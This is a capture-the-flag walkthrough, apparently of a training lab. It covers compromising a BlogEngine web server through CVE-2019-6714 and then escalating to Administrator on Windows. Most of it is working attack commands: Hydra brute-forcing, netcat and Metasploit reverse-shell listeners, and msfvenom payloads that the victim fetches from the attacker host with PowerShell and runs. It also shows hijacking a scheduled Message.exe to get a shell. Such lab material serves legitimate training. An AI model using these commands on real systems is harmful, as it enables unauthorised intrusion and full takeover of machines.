**Crafting request for Hydra** Sent a failed login request to Burp to see what it would look like. With this info I was able to craft my request for hydra. I just needed to get the URL and everything that is sent after VIEWSTATE and just change the input to use ^USER^ and ^PASS^ to brute force these fields.

I could also do this without burp by just opening the console and getting the info from there

### Compromise the machine **Now you have logged into the website, are you able to identify the version of the BlogEngine?**

**What is the CVE?** CVE-2019-6714 **Exploit Link:** **Using the public exploit, gain initial access to the server. Who is the webserver running as?** Created the file mentioned in the exploit, just changed the IP to my IP.

Setup a nc listener ``` rlwrap nc -lvnp 4445 ``` Upload the file

Navigate to the link and the nc listener should have caught it

### **Windows Privilege Escalation** **Setting up meterpreter shell** **Kali #1** ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.218.233 LPORT=1337 -e x86/shikata_ga_nai -f exe -o reverse.exe python2 -m SimpleHTTPServer 81 ``` **Kali #2** ``` msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.10.218.233 set LPORT 1337 run ``` **Victim** ``` cd C:\Windows\Temp powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.218.233:81/reverse.exe','reverse.exe')" reverse.exe ``` **What is the OS version of this windows machine?**

**Further enumerate the machine. What is the name of the abnormal *****service***** running?** **Check Windows Exploit Suggester** **Kali** ``` git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git cd Windows-Exploit-Suggester/ python3.9 windows-exploit-suggester.py --update python3.9 windows-exploit-suggester2.py --database 2022-12-03-mssb.xls --systeminfo systeminfo.txt ``` **Transfer WinPeas** **Kali** ``` wget https://github.com/carlospolop/PEASS-ng/releases/download/20221127/winPEASx64.exe python2 -m SimpleHTTPServer 81 ``` **Victim** ``` cd C:\Windows\Temp powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.218.233:81/winPEASx64.exe','winPEASx64.exe')" winPEASx64.exe ``` ![](https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Ff0kxHG7Im5QA4QsMGDgC%2Fimage.png?alt=media\&token=95c47177-45d8-47eb-aab6-07b9f2b48c11)

``` cd C:\Program Files (x86)\SystemScheduler\Events type 20198415519.INI_LOG.txt ``` We can see Message.exe is kept being ran by Administrator so we just need to replace the file with our reverse shell, setup a listener and wait for the Administrator to try to run it.

**Kali** ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.10.218.233 LPORT=1337 -f exe -o Message.exe python2 -m SimpleHTTPServer 81 rlwrap nc -lvnp 1337 ``` **Victim** ``` cd C:\Program Files (x86)\SystemScheduler powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.218.233:81/Message.exe','Message.exe')" ```
